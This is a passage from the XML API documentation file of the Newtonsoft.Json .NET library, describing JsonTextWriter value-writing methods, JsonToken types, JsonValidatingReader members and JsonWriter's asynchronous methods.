name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            